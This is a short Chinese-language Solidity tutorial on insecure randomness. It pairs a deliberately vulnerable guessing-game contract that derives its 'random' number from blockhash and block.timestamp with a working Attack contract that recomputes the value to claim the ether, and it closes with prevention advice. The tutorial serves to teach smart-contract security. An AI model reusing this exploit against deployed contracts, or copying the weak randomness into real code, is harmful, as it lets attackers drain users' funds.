欢迎订阅专栏:3分钟Solidity--智能合约--Web3区块链技术必学
如需获取本内容的最新版本,请参见 Cyfrin.io 上的随机性来源(代码示例)
漏洞
blockhash和 block.timestamp并非可靠的随机性来源。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
/*
注意:在Remix中无法使用blockhash,因此请使用ganache-cli
npm i -g ganache-cli
ganache-cli
在Remix中将环境切换为Web3提供者
*/
/*
猜随机数是一款游戏,如果你能猜中由区块哈希和时间戳生成的伪随机数,就能赢得1个以太币。
乍一看,似乎不可能猜出正确的数字。
但让我们看看赢起来有多容易。
1. Alice 部署 GuessTheRandomNumber 并投入 1 以太币
2. Eve 部署 Attack
3. Eve 调用 Attack.attack() 并赢得 1 以太币
发生了什么?
Attack 只是通过复制计算随机数的代码就计算出了正确答案。
*/
contract GuessTheRandomNumber {
constructor() payable {}
function guess(uint256 _guess) public {
uint256 answer = uint256(
keccak256(
abi.encodePacked(blockhash(block.number - 1), block.timestamp)
)
);
if (_guess == answer) {
(bool sent,) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
contract Attack {
receive() external payable {}
function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint256 answer = uint256(
keccak256(
abi.encodePacked(blockhash(block.number - 1), block.timestamp)
)
);
guessTheRandomNumber.guess(answer);
}
// 用于检查余额的辅助函数
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
预防性技术
- 不要使用
blockhash和block.timestamp作为随机性的来源
Remix Lite 尝试一下